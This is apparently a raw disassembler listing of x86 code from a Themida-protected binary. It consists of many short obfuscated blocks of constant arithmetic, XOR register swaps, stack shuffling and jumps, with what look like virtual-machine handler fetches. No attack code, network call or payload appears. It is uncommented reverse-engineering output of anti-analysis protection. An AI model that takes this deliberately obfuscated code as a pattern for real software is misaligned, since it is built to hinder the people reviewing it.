loc_59258D:				; CODE XREF: Themida_:0059A650j
		add	ebx, 0FFFFFFFFh
		jmp	loc_5A4D27
; ---------------------------------------------------------------------------


loc_592595:				; CODE XREF: Themida_:0059A1C7j
		not	eax
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_59213E
; ---------------------------------------------------------------------------


loc_5925B0:				; CODE XREF: Themida_:005A2092j
		add	esp, 4
		jmp	loc_5A338A
; ---------------------------------------------------------------------------


loc_5925BB:				; CODE XREF: Themida_:0059D766j
		push	edi
		mov	edi, 29456D56h
		jmp	loc_5A32A5
; ---------------------------------------------------------------------------


loc_5925C6:				; CODE XREF: Themida_:005A3CECj
		xchg	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5994CA
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0B01268Eh
		neg	ebp
		add	ebp, 85A94153h
		shr	ebp, 8
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	527872B5h
		pop	ebx
		jmp	loc_5A4798
; ---------------------------------------------------------------------------


loc_592604:				; CODE XREF: Themida_:00599D93j
		sub	eax, 26C60519h
		xor	esi, eax
		pop	eax
		sub	eax, esi
		pop	esi
		push	ebx
		push	7042h
		jmp	loc_590B79
; ---------------------------------------------------------------------------


loc_59261A:				; CODE XREF: Themida_:00599439j
		push	edx
		jmp	loc_5A4DD6
; ---------------------------------------------------------------------------


loc_592620:				; CODE XREF: Themida_:005A412Aj
		and	ecx, 3E2C34D1h
		jmp	loc_59224B
; ---------------------------------------------------------------------------


loc_59262B:				; CODE XREF: Themida_:0059AF70j
		mov	ebx, 82F454C3h
		sub	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	ebx
		add	ecx, 5A371903h
		sub	ecx, eax
		push	esi
		jmp	loc_593305
; ---------------------------------------------------------------------------


loc_592644:				; CODE XREF: Themida_:0059F0F8j
		pop	esi
		jmp	loc_5944A1
; ---------------------------------------------------------------------------


loc_59264A:				; CODE XREF: Themida_:0059BEE7j
		push	esp
		pop	edi
		push	esi
		mov	esi, 9B11902h
		push	eax
		mov	eax, 41CD19FDh
		and	eax, 3EF046D8h
		add	eax, 200C0EC6h
		or	eax, 26175054h
		shl	eax, 7
		jmp	loc_590EFE
; ---------------------------------------------------------------------------


loc_59266F:				; CODE XREF: Themida_:005A503Dj
		push	edi
		mov	edi, 16ED16A1h
		add	edi, 586367E8h
		or	edi, 0BE00E96h
		sub	edi, 6FF07E9Bh
		mov	ebp, edi
		pop	edi
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_594C63
; ---------------------------------------------------------------------------


loc_592698:				; CODE XREF: Themida_:005967C0j
		pop	edi
		add	esi, 15234EEBh
		sub	esi, ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3AB7427Ah
		dec	ebp
		or	ebp, 653F21A6h
		add	ebp, 1E795E98h
		jmp	loc_59254B
; ---------------------------------------------------------------------------


loc_5926C1:				; CODE XREF: Themida_:00598DA6j
		mov	ebp, 4
		jmp	loc_5A38F0
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A3FF6
; ---------------------------------------------------------------------------


loc_5926D1:				; CODE XREF: Themida_:00599142j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5926E8:				; CODE XREF: Themida_:0059158Fj
		pop	ecx
		push	ebx
		push	ecx
		jmp	loc_59EFE4
; ---------------------------------------------------------------------------


loc_5926F0:				; CODE XREF: Themida_:0059D13Fj
		add	eax, 68CD73EAh
		sub	eax, 4E056A57h
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	edi
		push	4
		pop	edi
		add	eax, 5E475687h
		sub	eax, 37677944h
		add	eax, edi
		add	eax, 37677944h
		jmp	loc_59702F
; ---------------------------------------------------------------------------


loc_59271C:				; CODE XREF: Themida_:00597552j
		mov	ecx, 2
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4A235F8Ch
		sub	ebp, 2CB003FAh
		sub	ebp, 37F91E15h
		push	ecx
		mov	ecx, 651D09EFh
		jmp	loc_59B9A1
; ---------------------------------------------------------------------------


loc_592749:				; CODE XREF: Themida_:005A4E5Fj
		mov	eax, 1F8602A5h
		add	eax, 3A9773FCh
		push	esi
		push	ebp
		push	eax
		mov	eax, 4822B9h
		xor	eax, 27CD4FA8h
		jmp	loc_5A2BB8
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 3C6D4A79h
		sub	eax, ebx
		push	4945h
		mov	[esp], ebx
		mov	ebx, 54DE75F9h
		shr	ebx, 6
		or	ebx, 337E52F4h
		dec	ebx
		jmp	loc_5A4567
; ---------------------------------------------------------------------------


loc_592789:				; CODE XREF: Themida_:0059B23Cj
		push	ebx
		jmp	loc_5947FD
; ---------------------------------------------------------------------------


loc_59278F:				; CODE XREF: Themida_:0059FD87j
		inc	eax
		jmp	loc_59A655
; ---------------------------------------------------------------------------


loc_592795:				; CODE XREF: Themida_:0059B785j
		push	edx
		mov	edx, 4BD85AB9h
		shr	edx, 2
		sub	edx, 8F2141Eh
		dec	edx
		not	edx
		and	edx, 72AF0EBEh
		sub	edx, 49D51DFBh
		xor	edx, 3B69C467h
		add	ebp, edx
		pop	edx
		add	ebp, 67457446h
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A43D3
; ---------------------------------------------------------------------------


loc_5927D9:				; CODE XREF: Themida_:0059D0CFj
		mov	esi, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_598875
; ---------------------------------------------------------------------------


loc_5927E5:				; CODE XREF: Themida_:00593D21j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_59389B
; ---------------------------------------------------------------------------


loc_5927FC:				; CODE XREF: Themida_:00593920j
		inc	ebp
		push	edx
		mov	edx, 58854538h
		xor	ebp, edx
		pop	edx
		push	eax
		mov	eax, 400133h
		or	eax, 40CF4397h
		and	eax, 51404F58h
		sub	eax, 48BA30B3h
		add	eax, 7F4B402Ch
		shl	eax, 5
		sub	eax, 5CA7502Eh
		xor	ebp, eax
		pop	eax
		xor	edx, ebp
		jmp	loc_5A36B8
; ---------------------------------------------------------------------------


loc_592832:				; CODE XREF: Themida_:005A23EFj
		or	dl, cl
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		inc	dl
		jmp	loc_59E17C
; ---------------------------------------------------------------------------


loc_59284F:				; CODE XREF: Themida_:0059FA24j
		mov	esi, 7AA86E54h
		shr	esi, 4
		push	eax
		mov	eax, 62CE08DDh
		neg	eax
		xor	eax, 45A51375h
		push	eax
		jmp	loc_59380C
; ---------------------------------------------------------------------------


loc_59286A:				; CODE XREF: Themida_:00599863j
		sub	eax, esi
		add	eax, 14390990h
		jmp	loc_5A279B
; ---------------------------------------------------------------------------


loc_592876:				; CODE XREF: Themida_:0059A3B6j
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		push	dword ptr [esp]
		jmp	loc_5993DC
; ---------------------------------------------------------------------------


loc_592888:				; CODE XREF: Themida_:005924FEj
		neg	dl
		neg	dl
		add	dl, 0F6h
		sub	al, dl
		pop	edx
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 2Eh
		mov	dl, bh
		jmp	loc_59BDA2
; ---------------------------------------------------------------------------


loc_5928A5:				; CODE XREF: Themida_:005999FAj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_596B7C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5928DC:				; CODE XREF: Themida_:005A0D12j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 8AD3449h
		add	ebx, 0F752CBBBh
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_5A019A
; ---------------------------------------------------------------------------


loc_5928F9:				; CODE XREF: Themida_:005A4A2Dj
		mov	ebp, 2C285C91h
		sub	ebp, 744838F1h
		xor	ebp, 0E9BC132Dh
		push	706Dh
		mov	[esp], edi
		mov	edi, 2E4A20EAh
		sub	edi, 78C93545h
		not	edi
		neg	edi
		not	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_590A26
; ---------------------------------------------------------------------------


loc_59292E:				; CODE XREF: Themida_:005A1260j
		pop	ebp
		sub	edi, 259572DFh
		jmp	loc_59BE9D
; ---------------------------------------------------------------------------


loc_59293A:				; CODE XREF: Themida_:00596999j
		push	670Bh
		jmp	loc_5A10E1
; ---------------------------------------------------------------------------


loc_592944:				; CODE XREF: Themida_:005A419Cj
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	4EF9h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	57F6h
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_59B78A
; ---------------------------------------------------------------------------


loc_592987:				; CODE XREF: Themida_:00596926j
		add	dword ptr [esp], 6EAD55BDh
		pop	ebx
		push	edx
		mov	edx, 83A1341h
		not	edx
		jmp	loc_5A2027
; ---------------------------------------------------------------------------


loc_59299C:				; CODE XREF: Themida_:0059DFBEj
		mov	dl, 1Eh
		mov	ch, 93h
		sub	ch, 8Ch
		sub	ch, dl
		add	ch, 8Ch
		jmp	loc_59BA4F
; ---------------------------------------------------------------------------


loc_5929AD:				; CODE XREF: Themida_:0059AD07j
		neg	ebx
		jmp	loc_5A2444
; ---------------------------------------------------------------------------


loc_5929B4:				; CODE XREF: Themida_:00598BC0j
		add	dword ptr [esp+4], 8BD6143h
		add	dword ptr [esp+4], 5BC04BC6h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 5BC04BC6h
		sub	dword ptr [esp+4], 8BD6143h
		pop	eax
		pop	edi
		jmp	loc_59427F
; ---------------------------------------------------------------------------


loc_5929DF:				; CODE XREF: Themida_:0059ED81j
		sub	dword ptr [esp], 1DA60B89h
		jmp	loc_5931C8
; ---------------------------------------------------------------------------


loc_5929EB:				; CODE XREF: Themida_:005951A9j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5929F0:				; CODE XREF: Themida_:0059DDE3j
		or	ebp, 5AA219C9h
		add	ebp, 0A001A207h
		add	ecx, ebp
		pop	ebp
		push	6035h
		mov	[esp], esi
		jmp	loc_59385A
; ---------------------------------------------------------------------------


loc_592A0C:				; CODE XREF: Themida_:0059BAA3j
		push	25FFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59F875
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_595BF6
; ---------------------------------------------------------------------------


loc_592A2E:				; CODE XREF: Themida_:0059AFA3j
		add	edi, edx
		jmp	loc_59A945
; ---------------------------------------------------------------------------


loc_592A35:				; CODE XREF: Themida_:005A27F8j
		neg	ebp
		xor	ebp, 46837BC9h
		push	ecx
		mov	ecx, 65634CDCh
		add	ebp, ecx
		jmp	loc_5A4F08
; ---------------------------------------------------------------------------


loc_592A4A:				; CODE XREF: Themida_:0059ADD8j
		mov	[esp], ax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_592A53:				; CODE XREF: Themida_:0059F2EEj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59E370
; ---------------------------------------------------------------------------


loc_592A5C:				; CODE XREF: Themida_:005A1C7Fj
		mov	ebp, 1CBD4731h
		mov	edx, 3170DC34h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	4372h
		mov	[esp], edx
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_594476
; ---------------------------------------------------------------------------


loc_592A8A:				; CODE XREF: Themida_:005913A8j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_592A8F:				; CODE XREF: Themida_:0059FBFFj
		sub	eax, 1E220A3Dh
		jmp	loc_5A4153
; ---------------------------------------------------------------------------


loc_592A99:				; CODE XREF: Themida_:0059BFADj
		mov	[esp], ebp
		mov	ebp, 0A0C90F96h
		xor	esi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 74ED4C2Bh
		sub	eax, esi
		sub	eax, 74ED4C2Bh
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_594EAF
; ---------------------------------------------------------------------------


loc_592AC9:				; CODE XREF: Themida_:00595F47j
		push	edi
		mov	edi, 0EAD4D2Ch
		sub	[esp+4], edi
		pop	edi
		pop	ecx
		push	30h
		mov	[esp], edx
		mov	edx, 0EAD4D2Ch
		jmp	loc_5A0D0D
; ---------------------------------------------------------------------------


loc_592AE7:				; CODE XREF: Themida_:0059524Cj
		pop	ebp
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_595452
; ---------------------------------------------------------------------------


loc_592B05:				; CODE XREF: Themida_:0059DFEDj
		mov	[esp], edi
		mov	edi, 4B381DFFh
		not	edi
		push	72D1h
		mov	[esp], eax
		mov	eax, 4B816EDh
		add	edi, 50CF76B3h
		sub	edi, eax
		sub	edi, 50CF76B3h
		pop	eax
		add	edi, 3CC661FCh
		jmp	loc_590935
; ---------------------------------------------------------------------------


loc_592B36:				; CODE XREF: Themida_:0059DBD8j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59EC41
; ---------------------------------------------------------------------------


loc_592B3E:				; CODE XREF: Themida_:005A572Bj
		popf
		jmp	locret_59A140
; ---------------------------------------------------------------------------


loc_592B44:				; CODE XREF: Themida_:0059F7D4j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	34A4h
		mov	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_590A59
; ---------------------------------------------------------------------------


loc_592B6B:				; CODE XREF: Themida_:005911B5j
		add	esp, 4
		sub	esi, 71744E75h
		add	esi, edi
		add	esi, 71744E75h
		sub	esi, 28E91037h
		jmp	loc_598D0D
; ---------------------------------------------------------------------------


loc_592B8A:				; CODE XREF: Themida_:005A1779j
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		jmp	loc_5988E0
; ---------------------------------------------------------------------------


loc_592B97:				; CODE XREF: Themida_:00593A2Fj
		push	esi
		mov	esi, 4AA34925h
		mov	ebp, 2A8F249Dh
		sub	ebp, 5CBB6628h
		add	ebp, esi
		add	ebp, 5CBB6628h
		pop	esi
		sub	ebp, 5470F73h
		dec	ebp
		push	ecx
		mov	ecx, 6FEB5E4Ah
		xor	ebp, ecx
		pop	ecx
		add	eax, ebp
		jmp	loc_5A1FEE
; ---------------------------------------------------------------------------


loc_592BC8:				; CODE XREF: Themida_:005904EBj
		mov	esp, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_592BE1:				; CODE XREF: Themida_:0059F62Cj
					; Themida_:005A0536j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_5A2C6F
; ---------------------------------------------------------------------------


loc_592BED:				; CODE XREF: Themida_:005A14F6j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A3DA9
; ---------------------------------------------------------------------------


loc_592C09:				; CODE XREF: Themida_:005998ECj
		mov	ebx, 2B140E2Fh
		dec	ebx
		jmp	loc_594056
; ---------------------------------------------------------------------------


loc_592C14:				; CODE XREF: Themida_:005A398Bj
		neg	edx
		not	edx
		or	edx, 62D84DDCh
		not	edx
		push	eax
		mov	eax, 303E2D9Ah
		and	eax, 6D7544CAh
		neg	eax
		jmp	loc_5A3018
; ---------------------------------------------------------------------------


loc_592C32:				; CODE XREF: Themida_:00590F5Aj
		add	edx, 54B2312Ch
		jmp	loc_59C9FA
; ---------------------------------------------------------------------------


loc_592C3D:				; CODE XREF: Themida_:00591083j
		sub	esi, 6B4F58C2h
		jmp	loc_59BDD8
; ---------------------------------------------------------------------------


loc_592C48:				; CODE XREF: Themida_:0059ABD2j
		xor	edx, ecx
		push	1EE0h
		mov	[esp], ecx
		mov	ecx, 18297A89h
		add	ecx, 0AC6308Eh
		xor	ecx, 0D68498Ch
		xor	ecx, 73867FA8h
		jmp	loc_5A09CF
; ---------------------------------------------------------------------------


loc_592C6E:				; CODE XREF: Themida_:0059B98Bj
		mov	eax, 4B4A2198h
		push	5037h
		mov	[esp], ebx
		mov	ebx, 12012FFFh
		xor	ebx, 348D0A39h
		sub	ebx, 0B6EDE787h
		xor	eax, ebx
		pop	ebx
		shr	eax, 7
		push	edx
		mov	edx, 0C832703Bh
		sub	eax, 64F7731Fh
		add	eax, edx
		jmp	loc_5A153E
; ---------------------------------------------------------------------------


loc_592CA4:				; CODE XREF: Themida_:005A43CEj
		xchg	edi, [esp]
		pop	esp
		push	2F43h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		sub	esp, 4
		jmp	loc_5A50F3
; ---------------------------------------------------------------------------


loc_592CBB:				; CODE XREF: Themida_:0059B6F4j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_59170F
; ---------------------------------------------------------------------------


loc_592CC5:				; CODE XREF: Themida_:0059A545j
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_59DC06
; ---------------------------------------------------------------------------


loc_592CD1:				; CODE XREF: Themida_:0059FCDBj
		push	edx
		mov	edx, 33A61B86h
		sub	ebx, edx
		pop	edx
		pop	edx
		push	edx
		push	ebx
		push	295C1F02h
		pop	ebx
		and	ebx, 16760D35h
		sub	ebx, 8CA8071Ah
		jmp	loc_5A45F4
; ---------------------------------------------------------------------------


loc_592CF4:				; CODE XREF: Themida_:005939EEj
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_59C5AB
; ---------------------------------------------------------------------------


loc_592D01:				; CODE XREF: Themida_:00596D14j
		xor	edx, [esp]
		jmp	loc_595734
; ---------------------------------------------------------------------------


loc_592D09:				; CODE XREF: Themida_:00599E40j
		push	ecx
		mov	ecx, 115F4321h
		jmp	loc_59727F
; ---------------------------------------------------------------------------


loc_592D14:				; CODE XREF: Themida_:0059893Aj
		mov	[esp], dx
		mov	dh, 21h
		jmp	loc_5A4B65
; ---------------------------------------------------------------------------


loc_592D1F:				; CODE XREF: Themida_:005A2D8Aj
		or	ebp, 3C301703h
		shl	ebp, 2
		add	ebp, 0F3FA398h
		jmp	loc_59732D
; ---------------------------------------------------------------------------


loc_592D33:				; CODE XREF: Themida_:005995A1j
		push	ebx
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		pop	edx
		shr	esi, 3
		sub	esi, 0FFFFFFFFh
		inc	esi
		push	ebp
		mov	ebp, 3ABD46C8h
		neg	ebp
		jmp	loc_5A0303
; ---------------------------------------------------------------------------


loc_592D51:				; CODE XREF: Themida_:00594B3Fj
		sub	dl, bh
		pop	ebx
		xor	cl, dl
		pop	edx
		xor	al, cl
		pop	ecx
		push	edx
		mov	dl, 0Eh
		sub	bl, 0E9h
		add	bl, 98h
		sub	bl, dl
		push	ecx
		mov	cl, 26h
		neg	cl
		not	cl
		jmp	loc_5A0C9C
; ---------------------------------------------------------------------------


loc_592D71:				; CODE XREF: Themida_:00593B30j
		add	esp, 4
		add	ch, 3Dh
		sub	ch, 1
		shr	ch, 4
		shl	ch, 3
		jmp	loc_5936A7
; ---------------------------------------------------------------------------


loc_592D88:				; CODE XREF: Themida_:0059D8A4j
		xor	edx, 3D7B2BBEh
		jmp	loc_59B131
; ---------------------------------------------------------------------------


loc_592D93:				; CODE XREF: Themida_:00599B3Aj
		xor	[esp], esi
		jmp	loc_5A33CF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6E27h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_592299
; ---------------------------------------------------------------------------


loc_592DB4:				; CODE XREF: Themida_:00593ABCj
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59F07C
; ---------------------------------------------------------------------------


loc_592DCD:				; CODE XREF: Themida_:00597D4Fj
		push	esi
		push	edi
		mov	edi, 72FC103Ah
		mov	esi, 72FC103Bh
		xor	esi, edi
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		push	edi
		push	ebx
		mov	ebx, 8F02467h
		mov	edi, 7BDB971Fh
		add	edi, 25B104ADh
		sub	edi, ebx
		sub	edi, 25B104ADh
		mov	ebx, [esp]
		jmp	loc_597E95
; ---------------------------------------------------------------------------


loc_592E06:				; CODE XREF: Themida_:0059FBCAj
		push	12B976A7h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 0D2158ECh
		push	ecx
		xor	dword ptr [esp], 41984A1Ch
		pop	ebp
		xor	ebp, 41984A1Ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A5742
; ---------------------------------------------------------------------------


loc_592E34:				; CODE XREF: Themida_:0059896Bj
		pop	eax


loc_592E35:				; CODE XREF: Themida_:0059CA47j
		push	5C6Dh
		jmp	loc_59032C
; ---------------------------------------------------------------------------


loc_592E3F:				; CODE XREF: Themida_:0059D862j
		add	ebp, 1E2C6476h
		shl	ebp, 3
		sub	ebp, 6F8C5333h
		shr	ebp, 5
		sub	ebp, 983D5AC3h
		push	ebp
		pop	ecx
		jmp	loc_591C4E
; ---------------------------------------------------------------------------


loc_592E5E:				; CODE XREF: Themida_:005A1BFEj
		push	edx
		mov	edx, 91375BEh
		push	ebp
		mov	ebp, 5E3F1062h
		inc	ebp
		xor	ebp, 3D3B1A1Fh
		jmp	loc_599739
; ---------------------------------------------------------------------------


loc_592E76:				; CODE XREF: Themida_:00594B37j
		push	esp
		jmp	loc_59B8AA
; ---------------------------------------------------------------------------


loc_592E7C:				; CODE XREF: Themida_:005A256Dj
		pop	esp
		jmp	loc_59A827
; ---------------------------------------------------------------------------


loc_592E82:				; CODE XREF: Themida_:005A2F48j
		pop	ebp
		xor	eax, 3163941Ch
		add	edx, 4EE190Ah
		add	edx, 2E2F2E8Dh
		add	edx, eax
		sub	edx, 2E2F2E8Dh
		sub	edx, 4EE190Ah
		mov	eax, [esp]
		jmp	loc_59A4FD
; ---------------------------------------------------------------------------


loc_592EAA:				; CODE XREF: Themida_:0059FFAAj
		sub	al, dl
		pop	dx
		pop	ebx
		sub	al, 67h
		sub	al, bl
		add	al, 67h
		push	dx
		jmp	loc_5997EE
; ---------------------------------------------------------------------------


loc_592EBC:				; CODE XREF: Themida_:005A01A6j
		and	ecx, ebp
		jmp	loc_593D1B
; ---------------------------------------------------------------------------


loc_592EC3:				; CODE XREF: Themida_:005A144Ej
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 62223E08h
		push	edx
		jmp	loc_5937A6
; ---------------------------------------------------------------------------


loc_592EEC:				; CODE XREF: Themida_:0059C9A8j
		push	edi
		push	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	2F89h
		mov	[esp], ebx
		mov	ebx, 6BB41044h
		jmp	loc_59082F
; ---------------------------------------------------------------------------


loc_592F13:				; CODE XREF: Themida_:00598C52j
		or	ecx, 19F0637Ch
		not	ecx
		shr	ecx, 6
		sub	ecx, 1930CEDh
		push	eax
		jmp	loc_59BC8B
; ---------------------------------------------------------------------------


loc_592F2A:				; CODE XREF: Themida_:0059A87Cj
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_590C9F
; ---------------------------------------------------------------------------


loc_592F35:				; CODE XREF: Themida_:0059795Bj
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 48894070h
		mov	eax, 0F7DEFE37h
		sub	eax, 249819DAh
		add	eax, ebx
		jmp	loc_598CE6
; ---------------------------------------------------------------------------


loc_592F55:				; CODE XREF: Themida_:0059BEF2j
		xchg	ecx, [esp]
		pop	esp
		dec	ch
		push	eax
		mov	ah, ch
		not	ah
		mov	ch, ah
		pop	eax
		and	ch, 27h
		jmp	loc_5A235B
; ---------------------------------------------------------------------------


loc_592F6B:				; CODE XREF: Themida_:005957AFj
		push	ebx
		jmp	loc_59FB39
; ---------------------------------------------------------------------------
		push	4D0Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_594908
; ---------------------------------------------------------------------------


loc_592F85:				; CODE XREF: Themida_:0059A3CBj
		add	edi, 4
		sub	edi, 4
		jmp	loc_591DE4
; ---------------------------------------------------------------------------


loc_592F93:				; CODE XREF: Themida_:005915EBj
		mov	ebp, [esp]
		jmp	loc_596F1C
; ---------------------------------------------------------------------------


loc_592F9B:				; CODE XREF: Themida_:0059CEFFj
		add	ecx, edx
		pop	edx
		mov	ebp, ecx
		pop	ecx
		shl	ebp, 3
		sub	ebp, 5F841169h
		xor	ebp, 63EE00B3h
		xor	ebp, 31510F93h
		jmp	loc_593C22
; ---------------------------------------------------------------------------


loc_592FBB:				; CODE XREF: Themida_:0059AB5Aj
		mov	edx, 0EF5DAE7Eh
		jmp	loc_5A3E22
; ---------------------------------------------------------------------------


loc_592FC5:				; CODE XREF: Themida_:0059F418j
		or	ebp, 13109ECh
		add	ebp, 1CB3E147h
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebx
		pop	ebx
		add	esi, eax
		jmp	loc_59E7B6
; ---------------------------------------------------------------------------


loc_592FE6:				; CODE XREF: Themida_:00590699j
		add	ebp, 434103E9h
		jmp	loc_5A54C2
; ---------------------------------------------------------------------------


loc_592FF1:				; CODE XREF: Themida_:005A382Fj
		push	eax
		push	esi
		mov	esi, 5E931A2Ch
		jmp	loc_5A1BE7
; ---------------------------------------------------------------------------


loc_592FFD:				; CODE XREF: Themida_:00593FFEj
		mov	edi, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edi
		jmp	loc_5A00DD
; ---------------------------------------------------------------------------


loc_59302D:				; CODE XREF: Themida_:005A12A3j
		pop	ecx
		pop	eax
		pop	ecx
		xor	edx, [edi+24h]
		xor	[edi+24h], edx
		push	eax
		jmp	loc_595196
; ---------------------------------------------------------------------------


loc_59303C:				; CODE XREF: Themida_:0059A09Fj
		pop	dword ptr [esp]
		jmp	loc_5A0287
; ---------------------------------------------------------------------------


loc_593044:				; CODE XREF: Themida_:0059721Fj
		add	dl, 0D9h
		push	eax
		mov	al, 64h
		jmp	loc_590CF1
; ---------------------------------------------------------------------------


loc_59304F:				; CODE XREF: Themida_:0059730Dj
		push	2F04h
		jmp	loc_591491
; ---------------------------------------------------------------------------


loc_593059:				; CODE XREF: Themida_:0059FE18j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59219D
; ---------------------------------------------------------------------------


loc_593062:				; CODE XREF: Themida_:00590ADAj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	29C1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	6578h
		mov	[esp], edi
		mov	edi, 63AF4693h
		jmp	loc_59BEF7
; ---------------------------------------------------------------------------


loc_593088:				; CODE XREF: Themida_:005A0F3Dj
		or	[edi+1Ch], eax
		mov	eax, [esp]
		add	esp, 4


loc_593091:				; CODE XREF: Themida_:005A51CFj
		push	ebx
		push	ebx
		push	408Bh
		mov	[esp], eax
		push	56DD02A6h
		pop	eax
		add	eax, 0D3C57C84h
		jmp	loc_59763D
; ---------------------------------------------------------------------------


loc_5930AB:				; CODE XREF: Themida_:005986BAj
		sub	esi, 1276B8C7h
		mov	edi, esi
		pop	esi
		add	eax, 7A391446h
		sub	eax, edi
		sub	eax, 7A391446h
		pop	edi
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 122324CBh
		add	ebp, ebx
		jmp	loc_595949
; ---------------------------------------------------------------------------


loc_5930D6:				; CODE XREF: Themida_:0059EAF7j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5997A4
; ---------------------------------------------------------------------------


loc_5930E5:				; CODE XREF: Themida_:00598812j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A21AC
